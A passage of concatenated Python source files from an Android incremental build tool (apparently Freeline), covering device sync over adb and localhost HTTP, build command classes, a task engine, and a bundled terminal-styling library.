                    from exceptions import CheckSyncStateException
                    raise CheckSyncStateException('check sync value failed, maybe you need a clean build.',
                                                  'NO CAUSE')
                break
        for i in range(0, 10):
            if (41128 + i) != port:
                cexec([self._adb, 'forward', '--remove', 'tcp:{}'.format(41128 + i)], callback=None)

        return port

    def sync_incremental_res(self):
        raise NotImplementedError  # TODO: sync single res.pack

    def sync_incremental_dex(self):
        dex_path = android_tools.get_incremental_dex_path(self._cache_dir)
        if os.path.exists(dex_path):
            self.debug('start to sync incremental dex...')
            with open(dex_path, 'rb') as fp:
                url = 'http://127.0.0.1:{}/pushDex'.format(self._port)
                self.debug('pushdex: ' + url)
                result, err, code = curl(url, body=fp.read())
                if code != 0:
                    from exceptions import FreelineException
                    raise FreelineException('sync incremental dex failed.', err.message)
        else:
            self.debug('no {} exists.'.format(dex_path))

    def sync_state(self, is_need_restart):
        if self._is_need_sync_dex() or self._is_need_sync_res():
            self.debug('start to sync close longlink...')
            restart_char = 'restart' if is_need_restart else 'no'
            update_last_sync_ticket(self._cache_dir)
            url = 'http://127.0.0.1:{}/closeLongLink?{}&lastSync={}'.format(self._port, restart_char,
                                                                            get_last_sync_ticket(self._cache_dir))
            self.debug('closeLongLink: ' + url)
            result, err, code = curl(url)
            # self.wake_up()
            if code != 0:
                rollback_last_sync_ticket(self._cache_dir)
                from exceptions import FreelineException
                raise FreelineException('sync state failed.', err.message)

    def wake_up(self):
        cexec([self._adb, 'shell', 'am', 'start', '-n', '{}/{}'.format(self._config['package'],
                                                                       self._config['launcher'])], callback=None)

    def _check_screen_status(self):
        commands = [self._adb, 'shell', 'dumpsys', 'input_method']
        check_str = 'mInteractive=true' if self._is_art else 'mScreenOn=true'
        output, err, code = cexec(commands, callback=None)
        return re.search(check_str, output)

    def _turn_on_screen(self):
        commands = [self._adb, 'shell', 'input', 'keyevent', '26']
        cexec(commands, callback=None)

    def _get_apktime_path(self):
        raise NotImplementedError

    def _is_need_sync_dex(self):
        return os.path.exists(android_tools.get_incremental_dex_path(self._cache_dir))

    def _is_need_sync_res(self):
        raise NotImplementedError


def get_sync_value(apktime_path, cache_dir):
    return get_apk_created_ticket(apktime_path) + get_last_sync_ticket(cache_dir)


def get_last_sync_ticket_path(cache_dir):
    return os.path.join(cache_dir, 'syncid')


def get_last_sync_ticket(cache_dir):
    ticket_path = get_last_sync_ticket_path(cache_dir)
    data = get_file_content(ticket_path)
    return 0 if len(data) == 0 else int(data)


def update_last_sync_ticket(cache_dir):
    ticket = get_last_sync_ticket(cache_dir) + 1
    ticket_path = get_last_sync_ticket_path(cache_dir)
    write_file_content(ticket_path, ticket)


def rollback_last_sync_ticket(cache_dir):
    ticket = get_last_sync_ticket(cache_dir)
    if ticket > 0:
        ticket -= 1
    else:
        ticket = 0
    write_file_content(get_last_sync_ticket_path(cache_dir), ticket)


def get_apk_created_ticket(apktime_path):
    data = get_file_content(apktime_path)
    return 0 if len(data) == 0 else int(data)


def update_clean_build_created_flag(apktime_path):
    flag = str(datetime.datetime.now().microsecond)
    Logger.debug("update apk time path: " + apktime_path)
    Logger.debug("new clean build flag value: " + flag)
    write_file_content(apktime_path, flag)






# -*- coding:utf8 -*-
from __future__ import print_function
import os

from exceptions import FreelineException
from utils import is_windows_system, cexec, copy, get_file_content

is_windows = is_windows_system()


def init():
    project_dir = os.getcwd()
    symlink('freeline', project_dir, 'freeline.py')

    if is_windows:
        symlink('freeline', project_dir, 'freeline_core')

    from gradle_tools import get_all_modules
    modules = get_all_modules(project_dir)
    for m in modules:
        if is_main_project(m['path']):
            main_module = m
            break

    if not main_module:
        raise FreelineException('main module not found', 'set main module first')

    print('find main module: ' + main_module['name'])
    args = []
    if is_windows:
        args.append('gradlew.bat')
    else:
        args.append('./gradlew')
    args.append(':{}:checkBeforeCleanBuild'.format(main_module['name']))
    print('freeline is reading project info, please wait a moment...')
    output, err, code = cexec(args, cwd=project_dir)
    if code != 0:
        raise FreelineException('freeline failed when read project info with script: {}'.format(args),
                                '{}\n{}'.format(output, err))
    print('freeline init success')


def is_main_project(module):
    config_path = os.path.join(module, 'build.gradle')
    if os.path.exists(config_path):
        content = get_file_content(config_path)
        if "apply plugin: 'com.antfortune.freeline'" in content:
            return True
    return False


def symlink(base_dir, target_dir, fn):
    base_path = os.path.join(base_dir, fn)
    target_path = os.path.join(target_dir, fn)

    if not os.path.exists(base_path):
        raise FreelineException('file missing: {}'.format(base_path), '     Maybe you should sync freeline repo')

    if os.path.exists(target_path):
        os.remove(target_path)

    if is_windows_system():
        copy(base_path, target_path)
    else:
        os.symlink(base_path, target_path)






# -*- coding:utf8 -*-
import subprocess
import os

VERSION_FORMATTER = '{}({})'
FREELINE_VERSION = 'v0.5.0'


def get_freeline_version():
    if is_git_dir():
        return VERSION_FORMATTER.format(FREELINE_VERSION, get_git_short_version())
    else:
        return FREELINE_VERSION


def get_git_short_version():
    # note: get git version
    # http://stackoverflow.com/questions/14989858/get-the-current-git-hash-in-a-python-script
    return subprocess.check_output(['git', 'rev-parse', '--short', 'HEAD'])


def is_git_dir():
    project_root_path = os.path.abspath(os.path.join(os.path.realpath(__file__), os.pardir))
    git_dir_path = os.path.join(project_root_path, '.git')
    if os.path.exists(git_dir_path) and os.path.isdir(git_dir_path):
        return True
    return False






# -*- coding:utf8 -*-
from __future__ import print_function
from command import AbstractCommand
from exceptions import NoConfigFoundException
from logger import Logger


class FreelineBuildCommand(AbstractCommand):
    def __init__(self, config, task_engine=None):
        AbstractCommand.__init__(self, command_name='freeline_build_command')
        self._config = config
        self._task_engine = task_engine
        self._project_type = None
        self._dispatch_policy = None
        self._builder = None
        self._scan_command = None
        self._build_command = None
        self._setup()

    def execute(self):
        file_changed_dict = self._scan_command.execute()

        if self._dispatch_policy.is_need_clean_build(self._config, file_changed_dict):
            self._setup_clean_builder(file_changed_dict)
            from build_commands import CleanBuildCommand
            self._build_command = CleanBuildCommand(self._builder)
        else:
            # only flush changed list when your project need a incremental build.
            Logger.debug('file changed list:')
            Logger.debug(file_changed_dict)
            self._setup_inc_builder(file_changed_dict)
            from build_commands import IncrementalBuildCommand
            self._build_command = IncrementalBuildCommand(self._builder)

        self._build_command.execute()

    def _setup(self):
        if not self._config:
            raise NoConfigFoundException

        if 'project_type' in self._config:
            self._project_type = self._config['project_type']
            if self._project_type == 'gradle':
                from gradle_tools import GradleScanChangedFilesCommand, GradleDispatchPolicy
                self._scan_command = GradleScanChangedFilesCommand(self._config)
                self._dispatch_policy = GradleDispatchPolicy()

    def _setup_clean_builder(self, file_changed_dict):
        if self._project_type == 'gradle':
            from gradle_clean_build import GradleCleanBuilder
            project_info = self._scan_command.project_info
            self._builder = GradleCleanBuilder(self._config, self._task_engine, project_info=project_info)

    def _setup_inc_builder(self, file_changed_dict):
        if self._project_type == 'gradle':
            project_info = self._scan_command.project_info
            from gradle_inc_build import GradleIncBuilder
            self._builder = GradleIncBuilder(file_changed_dict, self._config, self._task_engine,
                                             project_info=project_info)


class DispatchPolicy(object):
    """
    file_changed_dict:

     'projects': {
        bundle1: {
            'js': [],
            'assets': [],
            'res': [],
            'src': [],
            'manifest': [],
            'pom': []
        },
        bundle2: {
            'js': [],
            'assets': [],
            'res': [],
            'src': [],
            'manifest': [],
            'pom': []
        },
        ...
     },

     'build_info': {
        'last_clean_build_time': int,
        'root_pom_changed': bool
     }
    """

    def is_need_clean_build(self, config, file_changed_dict):
        raise NotImplementedError


class ScanChangedFilesCommand(AbstractCommand):
    def __init__(self):
        AbstractCommand.__init__(self, command_name='scan_changed_files_command')

    def execute(self):
        raise NotImplementedError






"""A thin, practical wrapper around terminal coloring, styling, and
positioning"""

from contextlib import contextmanager
import curses
from curses import setupterm, tigetnum, tigetstr, tparm

try:
    from fcntl import ioctl
except ImportError:
    from hackwindows import ioctl

try:
    from io import UnsupportedOperation as IOUnsupportedOperation
except ImportError:
    class IOUnsupportedOperation(Exception):
        """A dummy exception to take the place of Python 3's
        ``io.UnsupportedOperation`` in Python 2"""

from os import isatty, environ
from platform import python_version_tuple
import struct
import sys

try:
    from termios import TIOCGWINSZ
except ImportError:
    from hackwindows import TIOCGWINSZ

__all__ = ['Terminal']

if ('3', '0', '0') <= python_version_tuple() < ('3', '2', '2+'):  # Good till
    # 3.2.10
    # Python 3.x < 3.2.3 has a bug in which tparm() erroneously takes a string.
    raise ImportError('Blessings needs Python 3.2.3 or greater for Python 3 '
                      'support due to http://bugs.python.org/issue10570.')


class Terminal(object):
    """An abstraction around terminal capabilities

    Unlike curses, this doesn't require clearing the screen before doing
    anything, and it's friendlier to use. It keeps the endless calls to
    ``tigetstr()`` and ``tparm()`` out of your code, and it acts intelligently
    when somebody pipes your output to a non-terminal.

    Instance attributes:

      ``stream``
        The stream the terminal outputs to. It's convenient to pass the stream
        around with the terminal; it's almost always needed when the terminal
        is and saves sticking lots of extra args on client functions in
        practice.

    """

    def __init__(self, kind=None, stream=None, force_styling=False):
        """Initialize the terminal.

        If ``stream`` is not a tty, I will default to returning an empty
        Unicode string for all capability values, so things like piping your
        output to a file won't strew escape sequences all over the place. The
        ``ls`` command sets a precedent for this: it defaults to columnar
        output when being sent to a tty and one-item-per-line when not.

        :arg kind: A terminal string as taken by ``setupterm()``. Defaults to
            the value of the ``TERM`` environment variable.
        :arg stream: A file-like object representing the terminal. Defaults to
            the original value of stdout, like ``curses.initscr()`` does.
        :arg force_styling: Whether to force the emission of capabilities, even
            if we don't seem to be in a terminal. This comes in handy if users
            are trying to pipe your output through something like ``less -r``,
            which supports terminal codes just fine but doesn't appear itself
            to be a terminal. Just expose a command-line option, and set
            ``force_styling`` based on it. Terminal initialization sequences
            will be sent to ``stream`` if it has a file descriptor and to
            ``sys.__stdout__`` otherwise. (``setupterm()`` demands to send them
            somewhere, and stdout is probably where the output is ultimately
            headed. If not, stderr is probably bound to the same terminal.)

            If you want to force styling to not happen, pass
            ``force_styling=None``.

        """
        if stream is None:
            stream = sys.__stdout__
        try:
            stream_descriptor = (stream.fileno() if hasattr(stream, 'fileno')
                                                    and callable(stream.fileno)
                                 else None)
        except IOUnsupportedOperation:
            stream_descriptor = None

        self._is_a_tty = (stream_descriptor is not None and
                          isatty(stream_descriptor))
        self._does_styling = ((self.is_a_tty or force_styling) and
                              force_styling is not None)

        # The descriptor to direct terminal initialization sequences to.
        # sys.__stdout__ seems to always have a descriptor of 1, even if output
        # is redirected.
        self._init_descriptor = (sys.__stdout__.fileno()
                                 if stream_descriptor is None
                                 else stream_descriptor)
        if self.does_styling:
            # Make things like tigetstr() work. Explicit args make setupterm()
            # work even when -s is passed to nosetests. Lean toward sending
            # init sequences to the stream if it has a file descriptor, and
            # send them to stdout as a fallback, since they have to go
            # somewhere.
            setupterm(kind or environ.get('TERM', 'unknown'),
                      self._init_descriptor)

        self.stream = stream

    # Sugary names for commonly-used capabilities, intended to help avoid trips
    # to the terminfo man page and comments in your code:
    _sugar = dict(
        # Don't use "on" or "bright" as an underscore-separated chunk in any of
        # these (e.g. on_cology or rock_on) so we don't interfere with
        # __getattr__.
        save='sc',
        restore='rc',

        clear_eol='el',
        clear_bol='el1',
        clear_eos='ed',
        # 'clear' clears the whole screen.
        position='cup',  # deprecated
        enter_fullscreen='smcup',
        exit_fullscreen='rmcup',
        move='cup',
        move_x='hpa',
        move_y='vpa',
        move_left='cub1',
        move_right='cuf1',
        move_up='cuu1',
        move_down='cud1',

        hide_cursor='civis',
        normal_cursor='cnorm',

        reset_colors='op',  # oc doesn't work on my OS X terminal.

        normal='sgr0',
        reverse='rev',
        # 'bold' is just 'bold'. Similarly...
        # blink
        # dim
        # flash
        italic='sitm',
        no_italic='ritm',
        shadow='sshm',
        no_shadow='rshm',
        standout='smso',
        no_standout='rmso',
        subscript='ssubm',
        no_subscript='rsubm',
        superscript='ssupm',
        no_superscript='rsupm',
        underline='smul',
        no_underline='rmul')

    def __getattr__(self, attr):
        """Return a terminal capability, like bold.

        For example, you can say ``term.bold`` to get the string that turns on
        bold formatting and ``term.normal`` to get the string that turns it off
        again. Or you can take a shortcut: ``term.bold('hi')`` bolds its
        argument and sets everything to normal afterward. You can even combine
        things: ``term.bold_underline_red_on_bright_green('yowzers!')``.

        For a parametrized capability like ``cup``, pass the parameters too:
        ``some_term.cup(line, column)``.

        ``man terminfo`` for a complete list of capabilities.

        Return values are always Unicode.

        """
        resolution = (self._resolve_formatter(attr) if self.does_styling
                      else NullCallableString())
        setattr(self, attr, resolution)  # Cache capability codes.
        return resolution

    @property
    def does_styling(self):
        """Whether attempt to emit capabilities

        This is influenced by the ``is_a_tty`` property and by the
        ``force_styling`` argument to the constructor. You can examine
        this value to decide whether to draw progress bars or other frippery.

        """
        return self._does_styling

    @property
    def is_a_tty(self):
        """Whether my ``stream`` appears to be associated with a terminal"""
        return self._is_a_tty

    @property
    def height(self):
        """The height of the terminal in characters

        If no stream or a stream not representing a terminal was passed in at
        construction, return the dimension of the controlling terminal so
        piping to things that eventually display on the terminal (like ``less
        -R``) work. If a stream representing a terminal was passed in, return
        the dimensions of that terminal. If there somehow is no controlling
        terminal, return ``None``. (Thus, you should check that the property
        ``is_a_tty`` is true before doing any math on the result.)

        """
        return self._height_and_width()[0]

    @property
    def width(self):
        """The width of the terminal in characters

        See ``height()`` for some corner cases.

        """
        return self._height_and_width()[1]

    def _height_and_width(self):
        """Return a tuple of (terminal height, terminal width).

        Start by trying TIOCGWINSZ (Terminal I/O-Control: Get Window Size),
        falling back to environment variables (LINES, COLUMNS), and returning
        (None, None) if those are unavailable or invalid.

        """
        # tigetnum('lines') and tigetnum('cols') update only if we call
        # setupterm() again.
        for descriptor in self._init_descriptor, sys.__stdout__:
            try:
                return struct.unpack(
                    'hhhh', ioctl(descriptor, TIOCGWINSZ, '\000' * 8))[0:2]
            except IOError:
                # when the output stream or init descriptor is not a tty, such
                # as when when stdout is piped to another program, fe. tee(1),
                # these ioctls will raise IOError
                pass
        try:
            return int(environ.get('LINES')), int(environ.get('COLUMNS'))
        except TypeError:
            return None, None

    @contextmanager
    def location(self, x=None, y=None):
        """Return a context manager for temporarily moving the cursor.

        Move the cursor to a certain position on entry, let you print stuff
        there, then return the cursor to its original position::

            term = Terminal()
            with term.location(2, 5):
                print 'Hello, world!'
                for x in xrange(10):
                    print 'I can do it %i times!' % x

        Specify ``x`` to move to a certain column, ``y`` to move to a certain
        row, both, or neither. If you specify neither, only the saving and
        restoration of cursor position will happen. This can be useful if you
        simply want to restore your place after doing some manual cursor
        movement.

        """
        # Save position and move to the requested column, row, or both:
        self.stream.write(self.save)
        if x is not None and y is not None:
            self.stream.write(self.move(y, x))
        elif x is not None:
            self.stream.write(self.move_x(x))
        elif y is not None:
            self.stream.write(self.move_y(y))
        try:
            yield
        finally:
            # Restore original cursor position:
            self.stream.write(self.restore)

    @contextmanager
    def fullscreen(self):
        """Return a context manager that enters fullscreen mode while inside it
        and restores normal mode on leaving."""
        self.stream.write(self.enter_fullscreen)
        try:
            yield
        finally:
            self.stream.write(self.exit_fullscreen)

    @contextmanager
    def hidden_cursor(self):
        """Return a context manager that hides the cursor while inside it and
        makes it visible on leaving."""
        self.stream.write(self.hide_cursor)
        try:
            yield
        finally:
            self.stream.write(self.normal_cursor)

    @property
    def color(self):
        """Return a capability that sets the foreground color.

        The capability is unparametrized until called and passed a number
        (0-15), at which point it returns another string which represents a
        specific color change. This second string can further be called to
        color a piece of text and set everything back to normal afterward.

        :arg num: The number, 0-15, of the color

        """
        return ParametrizingString(self._foreground_color, self.normal)

    @property
    def on_color(self):
        """Return a capability that sets the background color.

        See ``color()``.

        """
        return ParametrizingString(self._background_color, self.normal)

    @property
    def number_of_colors(self):
        """Return the number of colors the terminal supports.

        Common values are 0, 8, 16, 88, and 256.

        Though the underlying capability returns -1 when there is no color
        support, we return 0. This lets you test more Pythonically::

            if term.number_of_colors:
                ...

        We also return 0 if the terminal won't tell us how many colors it
        supports, which I think is rare.

        """
        # This is actually the only remotely useful numeric capability. We
        # don't name it after the underlying capability, because we deviate
        # slightly from its behavior, and we might someday wish to give direct
        # access to it.
        colors = tigetnum('colors')  # Returns -1 if no color support, -2 if no
        # such cap.
        #  self.__dict__['colors'] = ret  # Cache it. It's not changing.
        # (Doesn't work.)
        return colors if colors >= 0 else 0

    def _resolve_formatter(self, attr):
        """Resolve a sugary or plain capability name, color, or compound
        formatting function name into a callable capability.

        Return a ``ParametrizingString`` or a ``FormattingString``.

        """
        if attr in COLORS:
            return self._resolve_color(attr)
        elif attr in COMPOUNDABLES:
            # Bold, underline, or something that takes no parameters
            return self._formatting_string(self._resolve_capability(attr))
        else:
            formatters = split_into_formatters(attr)
            if all(f in COMPOUNDABLES for f in formatters):
                # It's a compound formatter, like "bold_green_on_red". Future
                # optimization: combine all formatting into a single escape
                # sequence.
                return self._formatting_string(
                    u''.join(self._resolve_formatter(s) for s in formatters))
            else:
                return ParametrizingString(self._resolve_capability(attr))

    def _resolve_capability(self, atom):
        """Return a terminal code for a capname or a sugary name, or an empty
        Unicode.

        The return value is always Unicode, because otherwise it is clumsy
        (especially in Python 3) to concatenate with real (Unicode) strings.

        """
        code = tigetstr(self._sugar.get(atom, atom))
        if code:
            # See the comment in ParametrizingString for why this is latin1.
            return code.decode('latin1')
        return u''

    def _resolve_color(self, color):
        """Resolve a color like red or on_bright_green into a callable
        capability."""
        # TODO: Does curses automatically exchange red and blue and cyan and
        # yellow when a terminal supports setf/setb rather than setaf/setab?
        # I'll be blasted if I can find any documentation. The following
        # assumes it does.
        color_cap = (self._background_color if 'on_' in color else
                     self._foreground_color)
        # curses constants go up to only 7, so add an offset to get at the
        # bright colors at 8-15:
        offset = 8 if 'bright_' in color else 0
        base_color = color.rsplit('_', 1)[-1]
        return self._formatting_string(
            color_cap(getattr(curses, 'COLOR_' + base_color.upper()) + offset))

    @property
    def _foreground_color(self):
        return self.setaf or self.setf

    @property
    def _background_color(self):
        return self.setab or self.setb

    def _formatting_string(self, formatting):
        """Return a new ``FormattingString`` which implicitly receives my
        notion of "normal"."""
        return FormattingString(formatting, self.normal)


def derivative_colors(colors):
    """Return the names of valid color variants, given the base colors."""
    return set([('on_' + c) for c in colors] +
               [('bright_' + c) for c in colors] +
               [('on_bright_' + c) for c in colors])


COLORS = {'black', 'red', 'green', 'yellow', 'blue', 'magenta', 'cyan', 'white'}
COLORS.update(derivative_colors(COLORS))
COMPOUNDABLES = (COLORS |
                 {'bold', 'underline', 'reverse', 'blink', 'dim', 'italic', 'shadow', 'standout', 'subscript',
                  'superscript'})


class ParametrizingString(unicode):
    """A Unicode string which can be called to parametrize it as a terminal
    capability"""

    def __new__(cls, formatting, normal=None):
        """Instantiate.

        :arg normal: If non-None, indicates that, once parametrized, this can
            be used as a ``FormattingString``. The value is used as the
            "normal" capability.

        """
        new = unicode.__new__(cls, formatting)
        new._normal = normal
        return new

    def __call__(self, *args):
        try:
            # Re-encode the cap, because tparm() takes a bytestring in Python
            # 3. However, appear to be a plain Unicode string otherwise so
            # concats work.
            #
            # We use *latin1* encoding so that bytes emitted by tparm are
            # encoded to their native value: some terminal kinds, such as
            # 'avatar' or 'kermit', emit 8-bit bytes in range 0x7f to 0xff.
            # latin1 leaves these values unmodified in their conversion to
            # unicode byte values. The terminal emulator will "catch" and
            # handle these values, even if emitting utf8-encoded text, where
            # these bytes would otherwise be illegal utf8 start bytes.
            parametrized = tparm(self.encode('latin1'), *args).decode('latin1')
            return (parametrized if self._normal is None else
                    FormattingString(parametrized, self._normal))
        except curses.error:
            # Catch "must call (at least) setupterm() first" errors, as when
            # running simply `nosetests` (without progressive) on nose-
            # progressive. Perhaps the terminal has gone away between calling
            # tigetstr and calling tparm.
            return u''
        except TypeError:
            # If the first non-int (i.e. incorrect) arg was a string, suggest
            # something intelligent:
            if len(args) == 1 and isinstance(args[0], basestring):
                raise TypeError(
                    'A native or nonexistent capability template received '
                    '%r when it was expecting ints. You probably misspelled a '
                    'formatting call like bright_red_on_white(...).' % args)
            else:
                # Somebody passed a non-string; I don't feel confident
                # guessing what they were trying to do.
                raise


class FormattingString(unicode):
    """A Unicode string which can be called upon a piece of text to wrap it in
    formatting"""

    def __new__(cls, formatting, normal):
        new = unicode.__new__(cls, formatting)
        new._normal = normal
        return new

    def __call__(self, text):
        """Return a new string that is ``text`` formatted with my contents.

        At the beginning of the string, I prepend the formatting that is my
        contents. At the end, I append the "normal" sequence to set everything
        back to defaults. The return value is always a Unicode.

        """
        return self + text + self._normal


class NullCallableString(unicode):
    """A dummy callable Unicode to stand in for ``FormattingString`` and
    ``ParametrizingString``

    We use this when there is no tty and thus all capabilities should be blank.

    """

    def __new__(cls):
        new = unicode.__new__(cls, u'')
        return new

    def __call__(self, *args):
        """Return a Unicode or whatever you passed in as the first arg
        (hopefully a string of some kind).

        When called with an int as the first arg, return an empty Unicode. An
        int is a good hint that I am a ``ParametrizingString``, as there are
        only about half a dozen string-returning capabilities on OS X's
        terminfo man page which take any param that's not an int, and those are
        seldom if ever used on modern terminal emulators. (Most have to do with
        programming function keys. Blessings' story for supporting
        non-string-returning caps is undeveloped.) And any parametrized
        capability in a situation where all capabilities themselves are taken
        to be blank are, of course, themselves blank.

        When called with a non-int as the first arg (no no args at all), return
        the first arg. I am acting as a ``FormattingString``.

        """
        if len(args) != 1 or isinstance(args[0], int):
            # I am acting as a ParametrizingString.

            # tparm can take not only ints but also (at least) strings as its
            # second...nth args. But we don't support callably parametrizing
            # caps that take non-ints yet, so we can cheap out here. TODO: Go
            # through enough of the motions in the capability resolvers to
            # determine which of 2 special-purpose classes,
            # NullParametrizableString or NullFormattingString, to return, and
            # retire this one.
            return u''
        return args[0]  # Should we force even strs in Python 2.x to be
        # unicodes? No. How would I know what encoding to use
        # to convert it?


def split_into_formatters(compound):
    """Split a possibly compound format string into segments.

    >>> split_into_formatters('bold_underline_bright_blue_on_red')
    ['bold', 'underline', 'bright_blue', 'on_red']

    """
    merged_segs = []
    # These occur only as prefixes, so they can always be merged:
    mergeable_prefixes = ['on', 'bright', 'on_bright']
    for s in compound.split('_'):
        if merged_segs and merged_segs[-1] in mergeable_prefixes:
            merged_segs[-1] += '_' + s
        else:
            merged_segs.append(s)
    return merged_segs






# -*- coding:utf8 -*-
from __future__ import print_function
from utils import generate_random_string
from logger import Logger


class AbstractCommand(object):
    TPL_COMMAND_DEBUG_MSG = '[{}] {}'

    def __init__(self, command_name=None):
        self.command_name = generate_random_string() if not command_name else command_name

    def execute(self):
        raise NotImplementedError

    def debug(self, message):
        Logger.debug(AbstractBuildCommand.TPL_COMMAND_DEBUG_MSG.format(self.command_name, message))

    def __repr__(self):
        return self.command_name

    __str__ = __repr__


class MacroCommand(AbstractCommand):
    def __init__(self, command_name=None):
        AbstractCommand.__init__(self, command_name=command_name)
        self.command_list = []

    def add_command(self, command):
        if isinstance(command, AbstractCommand):
            self.command_list.append(command)

    def remove_command(self, command):
        self.command_list.remove(command)

    def execute(self):
        map(lambda command: command.execute(), self.command_list)


class AbstractBuildCommand(MacroCommand):
    def __init__(self, builder, command_name=None):
        MacroCommand.__init__(self, command_name=command_name)
        self._builder = builder


class AbstractCleanBuildCommand(AbstractBuildCommand):
    def __init__(self, builder, command_name=None):
        AbstractBuildCommand.__init__(self, builder, command_name=command_name)

    def execute(self):
        raise NotImplementedError


class AbstractIncrementalBuildCommand(AbstractBuildCommand):
    def __init__(self, builder, command_name=None):
        AbstractBuildCommand.__init__(self, builder, command_name=command_name)

    def execute(self):
        raise NotImplementedError






# -*- coding:utf8 -*-
from command import AbstractBuildCommand, MacroCommand


class CleanBuildCommand(AbstractBuildCommand):
    def __init__(self, builder):
        AbstractBuildCommand.__init__(self, builder, command_name='clean_build')
        self._setup()

    def execute(self):
        map(lambda command: command.execute(), self.command_list)

    def _setup(self):
        self.add_command(CheckBulidEnvironmentCommand(self._builder))
        self.add_command(FindDependenciesOfTasksCommand(self._builder))
        self.add_command(GenerateSortedBuildTasksCommand(self._builder))
        self.add_command(UpdateApkCreatedTimeCommand(self._builder))
        self.add_command(ExecuteCleanBuildCommand(self._builder))


class IncrementalBuildCommand(AbstractBuildCommand):
    def __init__(self, builder):
        AbstractBuildCommand.__init__(self, builder, command_name='incremental_build')
        self._setup()

    def execute(self):
        map(lambda command: command.execute(), self.command_list)

    def _setup(self):
        self.add_command(CheckBulidEnvironmentCommand(self._builder))
        self.add_command(GenerateSortedBuildTasksCommand(self._builder))
        self.add_command(ExecuteIncrementalBuildCommand(self._builder))


class CheckBulidEnvironmentCommand(AbstractBuildCommand):
    def __init__(self, builder):
        AbstractBuildCommand.__init__(self, builder, command_name='check_build_environment')

    def execute(self):
        self._builder.check_build_environment()


class FindDependenciesOfTasksCommand(AbstractBuildCommand):
    def __init__(self, builder):
        AbstractBuildCommand.__init__(self, builder, command_name='find_dependencies_of_tasks')

    def execute(self):
        self._builder.find_dependencies()


class GenerateSortedBuildTasksCommand(AbstractBuildCommand):
    def __init__(self, builder):
        AbstractBuildCommand.__init__(self, builder, command_name='generate_build_tasks')

    def execute(self):
        self._builder.generate_sorted_build_tasks()


class UpdateApkCreatedTimeCommand(AbstractBuildCommand):
    def __init__(self, builder):
        AbstractBuildCommand.__init__(self, builder, command_name='update_apk_created_time')

    def execute(self):
        self._builder.update_apk_created_time()


class ExecuteCleanBuildCommand(AbstractBuildCommand):
    def __init__(self, builder):
        AbstractBuildCommand.__init__(self, builder, command_name='execute_clean_build')

    def execute(self):
        self._builder.clean_build()


class ExecuteIncrementalBuildCommand(AbstractBuildCommand):
    def __init__(self, builder):
        AbstractBuildCommand.__init__(self, builder, command_name='execute_incremental_build')

    def execute(self):
        self._builder.incremental_build()


class CompileCommand(MacroCommand):
    def __init__(self, name, invoker):
        MacroCommand.__init__(self, name)
        self._invoker = invoker
        self._setup()

    def _setup(self):
        self.add_command(IncAaptCommand(self.command_name, self._invoker))
        self.add_command(IncJavacCommand(self.command_name, self._invoker))
        self.add_command(IncDexCommand(self.command_name, self._invoker))


class IncAaptCommand(MacroCommand):
    def __init__(self, pro, invoker):
        MacroCommand.__init__(self, '{}_inc_res_compile'.format(pro))
        self._invoker = invoker

    def execute(self):
        self._invoker.run_aapt_task()


class IncJavacCommand(MacroCommand):
    def __init__(self, pro, invoker):
        MacroCommand.__init__(self, '{}_inc_javac_compile'.format(pro))
        self._invoker = invoker

    def execute(self):
        self._invoker.run_javac_task()


class IncDexCommand(MacroCommand):
    def __init__(self, pro, invoker):
        MacroCommand.__init__(self, '{}_inc_dex_compile'.format(pro))
        self._invoker = invoker

    def execute(self):
        self._invoker.run_dex_task()


class SyncCommand(MacroCommand):
    def __init__(self, sync_client, command_name):
        MacroCommand.__init__(self, command_name=command_name)
        self._sync_client = sync_client






# -*- coding:utf8 -*-
from __future__ import print_function
import threading
import time
import traceback

from exceptions import FreelineException

from logger import Logger, FAILURE, READY, WAITING, WORKING, SUCCESS


class Task(object):
    def __init__(self, name):
        self.name = name
        self.parent_tasks = []
        self.child_tasks = []

        self.status = READY  # -1: failed; 0: not start; 1: waiting; 2: working; 3: success;
        self.start_time = 0
        self.run_start_time = 0
        self.cost_time = 0
        self.running_message = 'running...'
        self.finished_message = 'finished.'
        self.condition = threading.Condition()
        self.interrupted_exception = None

    def __repr__(self):
        return "[{}]".format(self.name)

    def add_parent_task(self, task):
        if task not in self.parent_tasks:
            self.parent_tasks.append(task)
            task.add_child_task(self)

    def add_child_task(self, task):
        if task not in self.child_tasks:
            self.child_tasks.append(task)
            task.add_parent_task(self)

    def is_all_parent_finished(self):
        for task in self.parent_tasks:
            if task.status != SUCCESS and task.status != FAILURE:
                return False
        return True

    def wait(self):
        self.condition.acquire()
        self.condition.wait()
        self.condition.release()

    def notify(self):
        self.condition.acquire()
        self.condition.notify()
        self.condition.release()

    def execute(self):
        raise NotImplementedError

    def can_show_log(self):
        return self.status == SUCCESS or self.status == WORKING or self.status == FAILURE

    def debug(self, message):
        Logger.debug('[{}] {}'.format(self.name, message))


class CleanBuildTask(Task):
    def __init__(self, name, config):
        Task.__init__(self, name)
        self._config = config

    def execute(self):
        raise NotImplementedError


class IncrementalBuildTask(Task):
    def __init__(self, name):
        Task.__init__(self, name)

    def execute(self):
        raise NotImplementedError


class SyncTask(Task):
    def __init__(self, client, name):
        Task.__init__(self, name)
        self._client = client

    def execute(self):
        raise NotImplementedError


class ExecutableTask(object):
    def __init__(self, task, engine):
        self.task = task
        self.engine = engine
        self._tpl_debug_message = '[{}] {}'

    def __repr__(self):
        return "<task: {}>".format(self.task.name)

    def debug(self, message):
        Logger.debug(self._tpl_debug_message.format(self.task.name, message))

    def execute(self):
        # self.debug('{} start to execute...'.format(self.task.name))
        self.task.start_time = time.time()
        self.task.status = WAITING
        while not self.task.is_all_parent_finished():
            # self.debug('{} waiting...'.format(self.task.name))
            self.task.wait()
        self.task.run_start_time = time.time()
        self.task.status = WORKING
        self.debug('{} start to run after waiting {}s'.format(self.task.name,
                                                              round(self.task.run_start_time - self.task.start_time,
                                                                    1)))
        # check if task need to interrupt before being executing
        if self.task.interrupted_exception is not None:
            self.task.status = FAILURE
            self._pass_interrupted_exception()
            return

        try:
            self.task.execute()
            self.task.status = SUCCESS
        except FreelineException as e:
            self.task.interrupted_exception = e
            self.task.status = FAILURE
        except:
            self.task.interrupted_exception = FreelineException('unexpected exception within task',
                                                                traceback.format_exc())
            self.task.status = FAILURE

        self.task.cost_time = round(time.time() - self.task.run_start_time, 1)
        self.debug('{} finish in {}s'.format(self.task.name, round(self.task.cost_time, 1)))

        # check if task need to interrupt after being executing
        if self.task.interrupted_exception is not None:
            self._pass_interrupted_exception()
            return

        for child_task in self.task.child_tasks:
            child_task.notify()

        self._check_engine_finished()

    def _pass_interrupted_exception(self):
        for child_task in self.engine.get_running_tasks():
